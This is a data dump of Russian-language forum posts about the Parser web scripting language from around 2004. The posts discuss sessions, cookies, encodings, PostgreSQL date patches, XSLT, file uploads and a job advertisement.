apr_sdbm_fetch error: Unknown error (620011)\
z:/home/xml/www/index.html(9:12) \
\
(9:12) это .$cookie в строке:\
$sessions.$cookie:sid[$.value[$information_string] $.expires(1)]\
\
Файлы session.dir и session.pag создаются (нулевой длины).\
Похоже, что проблема при обращении к файлу куки.\
\
В чем может быть затык?"
"28093","Знаком \"==\" сравнивают числа. А вы уверены это (195.92.168.166) число? Я нет :)\
А вот строки сравнивают с помощью \"eq\"\
\
P.S. \"Дока по Parser\" eq \"Библия кодера\", чего и Вам советую ;)"
"28094","Совершил таинство и даже соприкоснулся с великим, но мудрее не стал. Ошибка моя так и осталась. Там же, в строке поиска, люди пробелы с табами путают, а у меня один и тот же файл auto.p, содержащий replace локально работает, а на сервере - НЕТ."
"28096","Да, я бы тоже хотел узнать, что в конце концов это было, потому что у меня на Peterhost абсолютно те же симптомы. Один в один."
"28097","Мешает \"принцип разделения труда\" - есть программист, который занимается программированием и знает в т.ч. парсер, а есть html-кодер, который знает html.\
Для html-кодера неудобно, когда части страниц (общий заголовок, например) хранятся в виде кода в .p (пример в помощи Parser №2) или непонятных для него вставках на самих станицах, для него удобнее работать, когда эти стандартные блоки вынесены отдельными html файлами. Отсюда - потребность оставить кодеру возможность править блоки, из которых состоит страница, без помощи программиста, дав кодеру только простую команду, позволяющую компоновать страницу из частей, хранящихся в разных файлах."
"28098","При обработки xml-файла большого объема случайным образом выдается \"мусор\". При уменьшении размера - все ок. В чем может быть дело?"
"28099","При попытке \"отправить\" пользователю информацию большого размера (>200Kb) parser создает gc.log со следующим содержанием:\
\
GC Warning: Repeated allocation of very large block (appr. size 606208):\
	May lead to memory leak and poor performance.\
\
Данные приходят в браузер приходят с искожениями.\
Как с этим бороться?"
"28101","если до 4.1.х (а 4.1.х ещё не релиз) то вроде как MySQL не знает, что такое UTF8 и соответственно не умеет выполнять функции lower и т.д. т.е. проблема у вас с SQL (не работают group by текстовое поле, upper, lower, order by...) и класс авторизации это лишь первое для вас проявление этого :)\
\
я использовал этот класс на MySQL (koi8-r), MySQL (cp1251), Oracle (UFT8), Oracle (win-1251). какую кодировку использовал egr в PgSQL я не знаю, но вроде как у него тоже были проблемы с серверным lower, и он их как-то решил."
"28102","У меня точно такая же проблема. Нельзя ли написать шаблон в формате .html, в котором есть вставки Parser, а потом этот шаблон вставить в auto.p, а не писать шаблон прямо в auto.p?"
"28103","Большое спасибо. Дело действительно в версии парсера."
"28104","g++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/include -g -O2 -c parser3pgsql.C -Wp,-MD,.deps/parser3pgsql.TPlo  -fPIC -DPIC\
parser3pgsql.C:61: macro `toupper' used with too many (3) args\
parser3pgsql.C:136: macro `toupper' used with too many (3) args\
gmake[2]: *** [parser3pgsql.lo] Error 1\
gmake[2]: Leaving directory `/usr/local/src/parser/sql/pgsql'\
\
В чем может быть дело?"
"28105","Проблема заключается вот в чем:\
\
На одной машине код $Desc[$form:Desc] при принятии из поля формы русских букв не преобразует в коды типа &#1060;\
\
А на другой - преобразует и приходится писать $.Desc[^untaint{$form:Desc}]\
\
В чем может быть дело?"
"28110","как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_как_Ваш_форум_реагирует_на_большие_слова_"
"28112","На http://www.parser.ru/download/freebsd/ в самом низу справа написано что в /lib надо класть и баста! :)"
"28114","\"Если коту нечего делать -- кот лижет свои яйца\""
"28116","Символов в заголовке"
"28118","Надо брать release, а не head.\
В head PAF эту мелочь еще не поправил. :)"
"28119","Длинные слова нужны :) Например при написании километровой ссылки, в некоторых форумах приходится разделять её пробелами, что очень неудобно."
"28120","Жаль что Вы воспринимаете это с позиции \"нечего делать\". Это говорит о Вашей культуре,а точнее об отсутствии таковой.\
\
Я разрабатываю форум, а посему проверяю недоработки вашего.\
\
Я разочарован в разработчиках этого форума."
"28122","от своего имени и не мешая работать другим!\
\
PS: Если хочется ещё потестировать сайты могу дать работу!"
"28123","thx 2 Yuriy V. Vorontsov (Че).\
\
[quote]\
PS: Если хочется ещё потестировать сайты могу дать работу!\
[/quote]\
\
Еще раз приношу извинения за неудобства. С удовольстивем рассмотрю предложения по работе бета-тестера."
"28125","Первонаперво перенесём общение на e-mail: vorontsov@lybex.ru\
\
PS: Никогда бы не подумал, что будет возможность взять на работу Александра Петросяна (PAF'а) :)))"
"28126","Та же проблема."
"28127","мне нужен Cygwin, я скачал его инсталлятор, запустил, он лезет на сайт и начинает качать нужные пакеты, у меня сейчас небольшие проблемы с инетом, а размеры файлов, которые он качает я не вижу, поэтому не могу контролировать действие, не могли бы вы подсказать, какие нужны пакеты, чтобы эта собака заработала \
\
заранее благодарю"
"28128","Ну не первое же апреля сегодня. Или весна кого-то замучила?\
Я конечно понимаю что все отмодерируется. Со временем, но я, честно говоря был в недоумении...\
\
Итог Не \"Александр Петросян (PAF)\" поторопился. Выдержаней надо!"
"28130","Такой вопрос: есть база новостей\\объявлений\\чего угодно. Объявлений ОЧЕНЬ много\
У каждой записи должен быть установлен срок хранения, т.е. например через 7 дней это объявлние показываться не должно. Как лучше хранить даты? Также нужна возможность \"продлевать\" объявление.\
Варианты (что хранить в БД):\
1) Дата записи объявления + срок и высчитывать при выборке из БД\
2) Дата устаревания (как её высчитать?)\
3) Что-то типа счетчика, который от срока хранения каждый день будет -1 делать\
4) ещё какие варианты?\
 \
И еще: а как удалять старые объявления из БД автоматически? Думаю, что \"продлевать\" объявления можно сделать только пока они живы и активны, а как только срок кончается, не хочется их больше в базе держать... как быть?"
"28131","DELETE FROM таблица WHERE date<CURDATE() - 7"
"28132","Как сделать транслитерацию (Cyr->Lat) для всех кодировок?\
[code]$rep[^table::create[nameless]{\
а	a\
б	b\
в	v\
г	g\
д	d\
е	e\
ё	e\
з	z\
ж	zh\
и	i\
й	i\
к	k\
л	l\
м	m\
н	n\
о	o\
у	u\
п	p\
р	r\
с	s\
т	t\
ц	ts\
ч	ch\
х	h\
ф	f\
ш	sh\
щ	sh_\
ь	_\
ъ	_\
ы	y\
э	e\
ю	yu\
я	ya\
А	A\
Б	B\
В	V\
Г	G\
Д	D\
Е	E\
Ё	E\
З	Z\
Ж	ZH\
И	I\
Й	I\
К	K\
Л	L\
М	M\
Н	N\
О	O\
У	U\
П	P\
Р	R\
С	S\
Т	T\
Ц	TS\
Ч	CH\
Х	H\
Ф	F\
Ш	SH\
Щ	SH_\
Ь	_\
Ъ	_\
Ы	Y\
Э	E\
Ю	YU\
Я	YA}]\
$result[^txt.replace[$rep]]\
[/code]\
\
Такой вариант подходит только для Win-1251."
"28133","Дык я не понял: у всех пример по hasfile на Win32 работает, что ли?"
"28134","Задача: не выводить атрибут, если его в теге нет.\
\
# Делаю transform следующего XML...\
<links>\
	<link rel=\"stylesheet\" type=\"text/css\" href=\"blablabla.css\" />\
	<link rel=\"start\" href=\"/\" />\
</links>\
\
# ...таким вот XSLT:\
<xsl:template match=\"links\">\
        <xsl:for-each select=\"link\">\
<!-- Не выводим атрибут type, если он отсутствует -->\
	        <xsl:if test=\"not(@type)\">\
			<link rel=\"{@rel}\" href=\"{@href}\" />\
		</xsl:if>\
	        <xsl:if test=\"@type\">\
			<link rel=\"{@rel}\" type=\"{@type}\" href=\"{@href}\" />\
		</xsl:if>\
        </xsl:for-each>\
</xsl:template>\
\
# C непривычки XML-код кажется громоздким.\
\
#\
# Вопрос следующий: правильный ли это подход \
# или можно сделать это красивей (проще, эффективнее)? \
#"
"28135","Использую MySQL 3.23.52\
Я правильно понял, что MySQL сам использует функцию lower (даже если я ее не вызывал)?\
Значить нужно как-то решать эту проблему. Буду думать.\
Спасибо."
"28136","Запускаю \
[code]^MAIN:pSQL.last_insert_id[ad][/code]\
\
Выдаёт - 0\
\
В таблице ad 8 записей. Так оно и должно быть что ли?"
"28138","А подскажите пожалуйста, как сделать сдедующую вещь?\
  Есть сайт с авторизацией от Миши v3. И есть форум.\
Сообщение добавляется примерно также как сдесь - открывается окно с формой, submit'ится, в нем же обрабатывается, потом перезагружает родительское окно и закрывается.. \
  Так вот, если человек залогинился и сразу не переходя никуда добавляет сообщение, при перезагрузке рожительского окна выдается запрос на тему postdata.  \
Как этого избежать?"
"28139","!!!ГОСПОДА!!! Я ЧТО-ТО НЕ ПОНЯЛ, В ПАРСЕРЕ ЧТО, НЕЛЬЗЯ ФАЙЛЫ РЕДАКТИРОВАТЬ???"
"28140","в скобках показан конечный путь.\
Если бы вы заглянули в код, \
[code]$script_path[$params.script_path/images.pl][/code]\
то сразу бы сообразили, что $script_path формируется из двух частей, статической (/images.pl) и динамической (ваш путь). Перед images.pl уже есть слеш и если поставить как вы предлагаете (/../cgi-bin/) то в итоге должны получить /../cgi-bin//images.pl - вам не кажется это несколько неправильным.\
\
На десятках сайтов это код работает безупречно - отсюда делаю вывод что он абсолютно корректен."
"28142","Про какие файлы идет речь... что хотели получить -> что где прочитали -> что получили."
"28144","Как по-твоему его на parser.ru под FreeBSD собрали? :)\
\
diff между head и 3.1.2:\
\
< static void toupper(char *out, const char *in, size_t size) {\
---\
> static void toupper_str(char *out, const char *in, size_t size) {\
125c125\
<                                                       toupper(value, value, strlen(value));\
---\
>                                                       toupper_str(value, value, strlen(value));"
"28145","Sorry за невнимательность."
"28148","занимает всего 215 мегабайт - то есть качать где-то мегов 50 в \"полной выкладке\". Если когда-либо ставили линукс, по названиям пакетов всё будет понятно. Есди нет - ищите знакомые слова типа libxml, libxslt, bash, gcc, apache, wget и т.п. Выкачивайте, запускайте, пробуйте сделать то, ради чего качали. Не работает, ссылаясь на нехватку NNN -> снова setup и доустанавливаете NNN."
"28152","под Unicode обычно подразумевают UCS16, а это ne UTF-8.\
\
2. думаю, такое преобразование делается с одинаковой скоростью, действия тривиальны и непонятно, как их можно делать сильно с разной.\
\
3. обратите внимание на то, что ?charset= пропал из документации…"
"28155","оттуда ведут ссылки.\
в тексте статей есть пометки [3.1.2].\
\
этого достаточно."
"28156","вы имеете в виду тот трюк с mod_rewrite?\
мне он не кажется изящным=советовать его в доке не смогу.\
\
или хорошо или никак!"
"28157","Да, если вы с момента подключения к серверу БД не создали ни одной записи в таблице."
"28158","что такое bug.zip найдите поиском?"
"28159","Читаем файл\
^file::load[формат;имя файла]\
\
Делаете с ним всё что душе угодно средствами Парсера\
и\
\
Сохраняете\
^файл.save[формат;имя файла]"
"28160","В 262-й строке выдает ошибку '34.017407' is invalid number (int)\
[code]			^if(^date::create[$valid_session.dt_access] < ^date::create($now-$timeout/(24*60))){\
				$init_type(1)\
			}[/code]\
Кто-нибудь сталкивался? Как это следует лечить?"
"28161","и приравниваются к болтовне."
"28164","на файлах по 100М начинает тратиться… очень много памяти.\
\
причём пока посетитель не выкачает этот файл (или у веб-сервера не кончится терпение ждать, пока тот выкачает) эта память будет захвачена.\
\
дла больших файловых архивов способ абсолютно неприемлем.\
\
\
почитайте о стандартной авторизации, пример о [code]^math:crypt[/code], и воспользуйтесь поиском по форуму."
"28166","http://www.parser.ru/forum/?id=25884"
"28167","это опасно.\
\
выбирайте так, и будут все целы:\
[code]\
$alternatives[^table::create[nameless]{первая	вторая	третья}]\
$alternatives.$form:alternative_index\
\
<select name=alternative_index>\
<option value=0>…\
[/code]"
"28169","[code]--- date.C.old  Mon Mar 29 11:30:54 2004\
+++ date.C      Mon Mar 29 11:28:03 2004\
@@ -90,6 +90,10 @@\
        const char* min=lsplit(&cur, ':');\
        const char* sec=cur;\
\
+       char sec_new[3];\
+       strncpy(sec_new, cur, 2);\
+       sec_new[2] = 0;\
+\
        tm tmIn;  memset(&tmIn, 0, sizeof(tmIn));\
        tmIn.tm_isdst=-1;\
        if(!month)\
@@ -109,7 +113,7 @@\
 date_part_set:\
        tmIn.tm_hour=hour?pa_atoi(hour):0;\
        tmIn.tm_min=min?pa_atoi(min):0;\
-       tmIn.tm_sec=sec?pa_atoi(sec):0;\
+       tmIn.tm_sec=sec?pa_atoi(sec_new):0;\
        return tmIn;\
 }[/code]"
"28170","если кто-то попытается запустить ваш код (точнее Мишин) на \"стандартном\" парсере он получит фигу."
"28172","Я и сам отлично понимаю, что это [i]очень[/i] кривое решение. Но расставлять во всех скриптах, где из базы достается дата date_trunc разве лучше?\
\
Кстати говоря, у вас случайно нет идей, как эту проблему решить правильнее?"
"28173","> Но расставлять во всех скриптах, где из базы достается дата date_trunc разве лучше?\
\
Лучше, более трудоемко, но лучше.\
\
> Кстати говоря, у вас случайно нет идей, как эту проблему решить правильнее?\
\
Есть, - наехать на ПАФа, чтобы он сделал обрезание даты внутри парсера, т.е. в \"стандартном\" парсере :)"
"28176","я посчитал её не очень необходимой, и не поддержал.\
сейчас используйте \
[code]\
$name[$class:field] \
$container.name\
[/code]\
\
документацию скоро обновлю (сейчас, форум дочитаю только :)\
\
возможно, добавлю поддержку такой грамматики в будущем."
"28177","не забывывайте, нам доступно только то, что вы рассказываете."
"28178","Я считал, что Парсер преобразует внешние данные. Или в этом случае что недопонял?\
\
Что мне еще сообщить, чтобы было понимание моей ситуации?"
"28180","вообразите перед собой первоклассника, расскажите ему."
"28181","Броузер при пересылке из формы формирует запрос:\
\
http://mysite/?Desc=%E0%E2%FB%E0%FB%E2\
\
И мой скрипт в таком виде и записывает.\
Да, Парсер тут ни причем. Я ошибался.\
\
Но в чем дело, когда на одной машине такая строка выводится нормальными (то есть читаемо) буквами, а на другой - такой вот строкой, что обзначена выше?\
\
Как мне вывести текст нормально?\
А еще лучше как такой тест сохранить не в виде процентов, а виде обычного кода?"
"28183","- http://www.wareza.net/archives/001449.shtml - это та штука, которой пользуешься для проектирования БД? (Это к тому - качать полсотни мегабайт или нет?)"
"28185","Одно дело если есть возможность посмотреть, как у меня. А для тех кто выкачал chm или pdf, такой возможности нет.\
Да собственно я и сам не пользуюсь он-лайн версией. Вызвать chm по горячей клавише гораздо приятнее."
"28186","Страница-то перегружается после логина, а сообщение все ещё выводится.."
"28187","file save."
"28188","ставлю две птички подряд\
Editor^^'s\
\
выводит\
\
Editor^'s\
\
а когда пишу в коде Editor^'s или просто Editor's, то отгребаю ошибку\
можно наверное через коды сделать типа &#8217;, но хочу разобраться как сам опостроф передать"
"28189","# Sorry, что не дождался изменений в документации:-)\
# Ошибки уже не выдает, но и данных тоже (файлы и переменные пустые).\
# Пробую так:\
\
# создаем/открываем файл с информацией\
$sessions[^hashfile::open[/sessions]]\
^if(!def $cookie:sid){\
    $cookie:sid[^math:uuid[]]\
}\
# после этого:\
# ...так запоминаем произвольную $information_string под ключом sid на 2 дня\
\
# PAF says:\
# $name[$class:field] \
# $container.name\
\
$name[$cookie:sid[$.value[$information_string] $.expires(1)]]\
$sessions.name\
\
\
# ... а так можем считать сохраненное ранее значение\
# если с момента сохранения прошло меньше 2х дней\
$name[$cookie:sid]\
$information_string[$sessions.name]\
\
\
Переменные:<br />\
1.sessions.name: $sessions.name<br />\
2.information_string: $information_string<br />\
3.cookie:sid: $cookie:sid<br />"
"28191","[quote]> Но расставлять во всех скриптах, где из базы достается дата date_trunc разве лучше?\
\
Лучше, более трудоемко, но лучше.[/quote]\
А если Миша завтра выпустит новую версию класса? Расставлять заново?\
\
[quote]> Кстати говоря, у вас случайно нет идей, как эту проблему решить правильнее?\
\
Есть, - наехать на ПАФа, чтобы он сделал обрезание даты внутри парсера, т.е. в \"стандартном\" парсере :)[/quote]\
Ну так о том и речь, патч в итоге лучше :-)"
"28192","> А если Миша завтра выпустит новую версию класса? Расставлять заново?\
\
Нет, в этом случае мы наедем на Мишу :)\
\
> Ну так о том и речь, патч в итоге лучше :-)\
\
ну да, теперь дело за малым, - победить ПАФа"
"28193","Будет ли \"в духе Parser'а\" просто сделать 4 подобных таблицы и  использовать их в зависимости от кодировки пользователя?"
"28195","Я не очень понимаю о чем у вас идёт речь, но разве вызов из ^init[] в pgsql.p необходимой sql функции не решит проблемы?"
"28196","но запросы всё равно руками придется переделывать, хотя бы для того чтобы вставить эту заглушку"
"28197","Как вариант -- если поля с датой имеют один формат названия (dt_lalla), то соорудить regexp и в ^lala.sql[] матчить.."
"28198","Подскажите, с чем может быть связана такая ошибка???\
rename failed: Permission denied (13), actual filename '/home/clients/.../html/buffer/01-19-42-01.jpg' to '/home/clients/.../html/images/news/2004-03-19/01-19-42-01.jpg'"
"28199","Если это не слишком трудно, хотелось бы получать в рассылке новостей с сайта еще и сообщения об изменившихся файлах документации (после правки багов и т.п.), выложенных примерах и \"в действии\". Спасибо."
"28200","А как, например, изменить его текст? $file.text[] ничего не меняет..."
"28201","[code]--- date.C.old  Mon Mar 29 11:30:54 2004\
+++ date.C      Mon Mar 29 15:16:31 2004\
@@ -90,6 +90,11 @@\
        const char* min=lsplit(&cur, ':');\
        const char* sec=cur;\
\
+       char sec_new[3];\
+       if(cur != 0)\
+               strncpy(sec_new, cur, 2);\
+       sec_new[2] = 0;\
+\
        tm tmIn;  memset(&tmIn, 0, sizeof(tmIn));\
        tmIn.tm_isdst=-1;\
        if(!month)\
@@ -109,7 +114,7 @@\
 date_part_set:\
        tmIn.tm_hour=hour?pa_atoi(hour):0;\
        tmIn.tm_min=min?pa_atoi(min):0;\
-       tmIn.tm_sec=sec?pa_atoi(sec):0;\
+       tmIn.tm_sec=sec?pa_atoi(sec_new):0;\
        return tmIn;\
 }[/code]"
"28202","во-вторых - там английским языком написано, в чем проблема:\
[quote]\
rename failed: Permission denied (13) \
[/quote]\
Что в переводе значит - \
[quote]\
Не удалось переименовать файл: Доступ запрещен (код ошибки 13)\
[/quote]"
"28203","Если выполнение запроса будет зависеть от того, как называются запрошенные поля, то дальнейшее развитие кода контролировать будет очень сложно имхо."
"28204","там их много оказалось. увы, много чего ещё и не попало в доку.\
будет всем приятная новость."
"28205","Может перед сохранением имеет смысл удалить файл, а его содерхимое сохранить в переменной в которой изменить содержимое, а затем сохранить как строку, таблицу или что там."
"28206","http://parser.ru\
\
ряд вещей по недосмотру не попал в документацию и первую новость."
"28207","\"Дата обновления: 23.03.2004\" - 16 страниц найдено\
\"Дата обновления: 24.03.2004\" - 10 страниц\
\"Дата обновления: 29.03.2004\" - 41(!!!)"
"28208","сам я в нём ничего не понимаю, но его документация говорит что-то о ansi формате.\
\
я об этом уже писал, кто-нибудь исследовал проблему?\
\
мы pgsql в работе не используем, если кому нужно, исследуйте?\
\
если patch'ить, то мне кажется разумным изменять драйвер конкретного sql сервера, чем мучать несчастный date::create"
"28209","присылайте мне тоже, пожалуйста."
"28210","Это уже обсуждалось\
\
http://www.parser.ru/forum/?id=25895"
"28211","не используем мы pgsql.\
приму разумный patch.\
\
который ISO формат будет в ^date::create обрабатывать."
"28213","1.Можно ли узнать строку между <a href.....> вот эту </a> в JS?\
2.Как считать какую нибудь строку в документе в JS?\
<html>\
<title>...</title>\
<body>\
Допустим эту строку\
</body>\
</html>"
"28214","Перевод из часового пояса, в котором дата хранится в БД в текущий или установка правильного tmIn.tm_gmtoff при передаче структуры в mktime?"
"28217","В смысле document.links[n].dom ?"
"28218","Спасибо будут вопросы объязательно задам !"
"28219","В версии 3.1.2 несколько изменилось поведение выборки элемента строки таблицы.\
Если строка неполная, то раньше строка читалась и обрабатывалась методом \
menu, а сейчас -- нет.\
Сейчас нужно проставлять пустые <tab>.\
Причём это зависит от того, как именно получена таблица: \
если в самой програмее, то поведение старое:\
\
===\
$tt[^table::create{k	v\
1	11\
2	22\
3}]\
^tt.menu{$tt.k and $tt.v\
}\
===\
\
пишет \
===\
1 and 11\
2 and 22\
3 and \
===\
\
а такое\
===\
$tt[^table::load[new-beh-ext.tab]]\
^tt.menu{$tt.k and $tt.v\
}\
===\
\
при файле new-beh-ext.tab\
===\
k	v\
a	aa\
b	bb\
c\
===\
(в последней строке НЕТ табуляции)\
пишет\
===\
a and aa\
b and bb\
===\
Однако если добавить табуляцию после \"с\" \
или перевести строку, то поведение снова становится прежним...\
\
Странно..."
"28220","Чем компилировать исходники? VisualStudio (пробовал открывать проекты на 6.0 и .NET) ругается и говорит, что создано более новой версией?!"
"28221","Я всё ещё с формой вожусь.\
Препологается, что у человека будет на дом. компьютере сервер.\
Надо что бы человеку через форму возможность простой способ добавления ссылок.\
Вот как я попытался сделать:\
\
#Здесь задаётся линк, cо значение формы url.\
<table>\
  <tr>\
    <td>&nbsp;Ссылка(на файл):</td>\
    <td><input type=file name=\"url\"><A href=\"javascript:upload_file></td>\
  </tr>\
</table>\
\
#Полное имя файла от корня веб-пространства\
$url[^file:fullpath[url]]\
\
#Пихаем в БД\
^connect[$connect_string]{ \
^void:sql{insert into $form:base  \
($url) \
values \
('$form:$url') \
\
#tckb c ^file:fullpath не заморачиваться, то всё работает. А что с ^file:fullpath не так?"
"28222","Появилось желание добавить в парсер возможность работы с pop и imap протоколами и хочу узнать этого еще не никто не реализовывал?"
"28223","Что именно поместить в bug.zip и на какой адрес отправить?\
(прошу прощения - я новичок)"
"28224","Хоть это и весьма размыто написано в доке, но мне кажется что ^file:fullpath не должен выдавать полный путь к файлу... он просто преобразует относительные пути в абсолютные.\
А путь вам должен выдать ^file:dirname\
\
В вашем коде есть масса ошибок, незакрытый тег <a> и в нем же незакрытые кавычки. Но если это опустить, то код который вы ожидали получить должен выглядеть примерно так:\
[code]\
$url[^file:dirname[$form:url.name]]\
[/code]\
Но на момент когда вы получили файл из формы, он не содержит никакого пути, так как он находится в памяти. Т.е. подход который вы выбрали не верен.\
\
Хотя я не проверял, нет времени... пробуйте."
"28225","Но честно сказать ума не приложу зачем это может понадобиться."
"28227","и надо бы узнать, как этот pgsql справляется с ситуацией, когда смещение от gmt имеет минуты (где-то в австралии, если не путаю, есть сдвиг на сколько-то часов, 30 минут от GMT)."
"28229","pop3 в первом приближении можно сделать с $console.line\
но я бы такой подход предлагал только в intranet.\
\
про imap не знаю, если тоже построчный, тоже можно."
"28230","может для ваших целей подойдёт?"
"28231","Ну что же попробую написать класс для работы пока хотябы с pop протоколом"
"28232","например, возможность указываеть символы-разделители в загружаемой таблице оказалась \"ложкой к обеду\" :), ну и вне конкуренции хэшфайл. теперь доделываю \"взрослую авторизацию\" как в РНР. Еще бы,конечно, внутренними средствами узнавать о включенных(или нет) куках...."
"28233","спасибо за bug.zip!"
"28234","спасибо за исчерпывающее описание."
"28235","я как был против $form:fields, так и против этого.\
вам зачем?"
"28236","[code] ^connect[connect-string]{код}\
\
connect-string=pop3://user:password@host:port/?\
   auth_scheme=LOGIN | APOP& \
   timeout=3\
[/code]\
\
в класс HASH конструктор:\
[code]\
^hash::pop3[\
    $.messages[  $.1[]\
                 $.3[]]\
    $.del_after_read[yen | no] \
]\
[/code]\
\
возвращает hash:\
[code]\
$.message_number(или уникальный номер сообщения полученные через UIDL)[\
    $.from[Вася <vasya@hotmail.ru>]\
    $.to[Петя <petya@hotmail.ru>]\
    $.subject[как дела]\
    $.text[Как у тебя дела? У меня изумительно!]\
    $.html{Как у тебя дела? У меня <b>изумительно</b>!}\
    $.file[]\
    $.file2[\
        $.value[]]\
        $.name[]]\
] \
[/code]\
сообщения имеют формат, как в методе ^mail:send[]\
 \
в класс  POP3\
добавить метод типа ^pop3:raw{код}\
возвращает строку  полностью с +OK | -ERR ответ сервера\
\
коннект кешируеться, также как коннект к базе.  \
\
[url=\"http://www.faqs.org/rfcs/rfc1939.html\"]RFC[/url]"
"28237","не надо в hash никаких левых конструкторов, эта сущность к нему отношения не имеет.\
\
отдельно.\
\
2. вы это кому предлагаете делать? [мне не предлагать]"
"28238","хоть посмотреть как она работает"
"28240","$cookie:fields мне не зачем. мне надо узнавать включен ли прием куки у клиента в броузере. просто с Парсерным подходом к кукам, несмотря на множество положительных сторон, есть и минус, который заключается в том, что я кладу клиенту куку, он  ее берет, все ОК, а на следующей странице уже он новый посетитель...\
Если бы сразу знать, то можно постпрцессом дописать всем ссылкам СИД и все пойдет как надо."
"28241","сам я пробовал только на unix."
"28242","стандартный подход: на одной странице задать тестовую cookie, на другое проверить, «цела ли?»."
"28244","только вариации на данную тему:\
скажем, в страницу с формочкой авторизации уже выдавать некую cookie, и javascript'ом включать в 1 некий hidden name=cookie_and_javascript_supported value=0."
"28246","Студии Артемия Лебедева требуется сотрудник в подразделение Rotabanner (http://www.rotabanner.com/).\
\
(Rotabanner работает под управлением Unix, написан на C, интерфейс - на Parser, по всем сетям получаентся порядка 1000 показов в секунду в дневное время).\
\
Основные задачи:\
\
* Поддержка (по e-mail) владельцев баннерных сетей на механизме Rotabanner, участников баннерных сетей Студии (rb1,rb2,tx3). Помощь в настройке, устранение проблем.\
\
* Установка, наладка, тестирование системы.\
\
* Использование и разработка инструментов для поддержки системы (например обновление географического таргетинга).\
\
* Участие в разработке системы и ее интерфейсов.\
\
* Поддержка и развитие сайта http://www.rotabanner.com/\
\
* Участие в модерировании баннерных сетей Студии.\
\
* участие в документировании системы.\
\
* возможно периодическое отвлечение на другие проекты Студии. \
\
Понятно, что работа специфична, первые месяцы будет обучение. Мы рассчитываем на долгосрочное сотрудничество. Из личных качеств приветствуются отвественность, аккуратность, обучаемость, креативность, коммуникабельность.\
\
Заинтересовавшихся просьба слать резюме на career@design.ru (plain/text)."
"28247","А ваш способ выдаёт пустоту, т.е. данные из этой формы не вносятся. Зато настроил file:fullpath, но он мне выдаёт вот такой вид ссылки \\www\\video\\video\\fraggedbycooller_v1.avi\
а как сделать что бы без www.\
вот рабочий код(с исправлениями)\
\
    <td><input type=file  name=\"url\"><a href=\"javascript:upload_file()\"></a></td>\
  </tr>\
</table>\
\
#Полное имя файла от корня веб-пространства\
$url[^file:fullpath[$form:url]]\
# это нерабочая $url[^file:dirname[$form:url]] \
\
^connect[$connect_string]{ \
^void:sql{insert into $form:base  \
(url) \
values\
('$url')"
"28248","Ведь excel может сохранять как в первом, так и во втором формате.\
Имеет ли смысл переходить от .txt к .csv"
"28249","сохраните в .txt"
"28250","Простите, насколько я смог понять в меру своих способностей, речь идёт о XML. А что делать мне, работающему без оного? Есть ли шансы при выводе поля из базы сохранить пробелы? Во втором парсере с этим было как-то попроще (я про optimize).. \
\
С переносом строки я разобрался... а вот с пробелами - всё никак.. :("
"28251","Можно подумать, что табуляция в тексте встречается чаще запятой"
"28252","хорошо вам."
"28253","Он судя по всему ещё написан на парсере2 или на очень ранних версиях Имприматур 1 на 3-м. Я прав?"
"28254","В принципе parser3, только исопользуется он \"по мелочи\".\
То есть системы администрирования там нет."
"28255","Возможно, поможет ссылка. Не знаю, деревья не делал и пример не читал.  http://www.parser.ru/forum/?id=4591"
"28256","... может быть таблица из word, но там эта проблема легко решается заменой всех ^t и ^p\
...\
Ну а вобщем, я понял вашу логику, спасибо."
"28259","Как вы думаете, около 15000 записей в базе такого формата\
\
Row Statistic :\
Statements 	Value\
Format 	dynamic\
Rows 	3,955\
Row length &#248; 	37\
Row size  &#248; 	46 Bytes\
Next Autoindex 	3,956\
\
Это обременительно для работы? Если постоянно из неё выбирать selectом Парсером в таблицу?\
\
Скоро просто предстоит, думаю не упадёт ли всё к едрене фене, а про ограничение размеров и быстродействие ничего не знаю.. \
Посоветуйте что почитать, нигде почему-то эта тема не затрагивается."
"28260","Думаю сделать структуру подобную Яндексу :) В смысле с несколькими субдоменами. Как писать куку авторизации, чтобы она понималась каждым субдоменом? Пока - Парсер думает, что www.чтото.ру и чтото.ру - разные домены и приходится залогиниваться дважды... а так хочется все рег данные обрабатывать через passport.чтото.ру... \
Простые решения существуют?"
"28261","Существуют: везде писать куку для что-то.ру, она доступна для любого.что-то.ру"
"28262","как я писал раньше файл который вы передали через форму, висит в памяти, естественно он не будет иметь никакого пути пока вы его куда-нибудь не пропишите.\
Что касаемо /www/ то надо думать это корень вашего веб пространства."
"28264","вам на 1(одной) веб-странице надо показать 15000 записей?"
"28265","Excel, File|New... [code]ООО \"Васюк и Ко\"[/code]\
File|Save as... Text (Tab delimited) (.txt) получаем преславный .txt: [code]\"ООО \"\"Васюк и Ко\"\"\"[/code]"
"28267","У меня работает база из ~400000 записей.\
Полет нормальный."
"28268","Нет, спаси господи..\
Да, всётаки сейчас подумал основательне и понял, что всё можно решить меньшей кровью.. Извиняюсь за истерики.. =)"
"28269","Вот один XML обработать несколькими XSL-ами это получается.\
\
А вот как 1 страницу собрать из разных XML-блоков и все их обработать этим самым набором XSL-ек не придумывается.\
\
Генерить XML в ходе сборки страницы это же наверняка не самый правильный вариант.\
\
Буду благодарен за помощь."
"28270","[code]\
$f2[^f2.match[^^\"][]{}]\
$f2[^f2.match[\"^$][]{}]\
$f2[^f2.match[\"\"][g]{\"}]\
[/code]"
"28271","> Генерить XML в ходе сборки страницы это же наверняка не самый правильный вариант.\
\
Нормальный вариант."
"28272","простой и удобный вариант.\
\
причём создавать оказывается даже быстрее так:\
[code]\
^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
…тут ваш код…\
}\
[/code]\
\
чем добавлять узлы к некоему изначально пустому DOM документу.\
\
так и удобнее тоже.\
\
мы так делаем."
"28274","Хотелось бы чтобы такой error стал known.\
Иными словами, чтобы ошибки были такими же как во всех остальных случаях.\
